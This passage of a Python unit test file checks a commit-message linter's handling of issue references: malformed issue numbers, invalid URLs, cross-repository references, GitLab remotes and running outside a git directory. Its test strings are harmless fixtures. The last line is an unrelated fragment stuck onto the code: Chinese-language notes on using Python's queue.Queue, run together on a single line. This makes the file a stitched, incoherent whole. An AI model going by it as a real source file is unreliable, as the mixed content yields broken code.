# GitHub host with invalid short issue tag
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix #01112 and #111')
self.assertEqual(self.run_uut(body_close_issue=True, ),
['Invalid issue number: #01112'])
self.assert_no_msgs()
# GitHub host with no full issue reference
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix #1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True),
['Invalid full issue reference: #1112'])
self.assert_no_msgs()
# Invalid characters in issue number
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix #1112-3')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True),
['Invalid full issue reference: #1112-3'])
self.assert_no_msgs()
# Adding GitLab remote for testing
self.run_git_command('remote', 'set-url', 'test',
'https://gitlab.com/user/repo.git')
# GitLab chosen and has an issue
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolve https://gitlab.com/usr/repo/issues/1112\n'
'and https://gitlab.com/usr/repo/issues/1312')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True), [])
# Invalid issue number in URL
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closing https://gitlab.com/user/repo/issues/123\n'
'and https://gitlab.com/user/repo/issues/not_num')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True), [
'Invalid full issue reference: '
'https://gitlab.com/user/repo/issues/not_num'
])
self.assert_no_msgs()
# Invalid URL
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix www.google.com/issues/hehehe')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True),
['Invalid full issue reference: '
'www.google.com/issues/hehehe'])
self.assert_no_msgs()
# One of the short references is broken
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolve #11 and close #notnum')
self.assertEqual(self.run_uut(body_close_issue=True, ),
['Invalid issue reference: #notnum'])
self.assert_no_msgs()
# Close issues in other repos
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolve #11 and close github/gitter#32')
self.assertEqual(self.run_uut(body_close_issue=True, ), [])
self.assert_no_msgs()
# Incorrect close issue other repo pattern
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix #11 and close github#32')
self.assertEqual(self.run_uut(body_close_issue=True, ),
['Invalid issue reference: github#32'])
self.assert_no_msgs()
# Last line enforce full URL
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Fix http://gitlab.com/user/repo/issues/1112\n'
'Another line, blablablablablabla.\n')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True,
body_close_issue_on_last_line=True,
body_enforce_issue_reference=True),
[
'Body of HEAD commit does not contain any full issue'
' reference in the last line.'
])
self.assert_no_msgs()
def test_different_path(self):
no_git_dir = mkdtemp()
self.git_commit('Add a very long shortlog for a bad project history.')
os.chdir(no_git_dir)
# When section doesn't have a project_dir
self.assertEqual(self.run_uut(), [])
git_error = self.msg_queue.get().message
self.assertEqual(git_error[:4], 'git:')
# when section does have a project_dir
self.section.append(Setting('project_dir', escape(self.gitdir, '\\')))
self.assertEqual(self.run_uut(), [
'Shortlog of the HEAD commit contains 51 '
'character(s). This is 1 character(s) longer than '
'the limit (51 > 50).'
])
self.assertEqual(get_config_directory(self.section), self.gitdir)
os.chdir(self.gitdir)
os.rmdir(no_git_dir)
from queue import Queue # 使用 q = Queue() q.put(url) q.get() # 当队列为空时，阻塞 q.get(block=True,timeout=3) # 超过3秒抛异常 q.get(block=False) # 为空时直接抛异常 q.empty()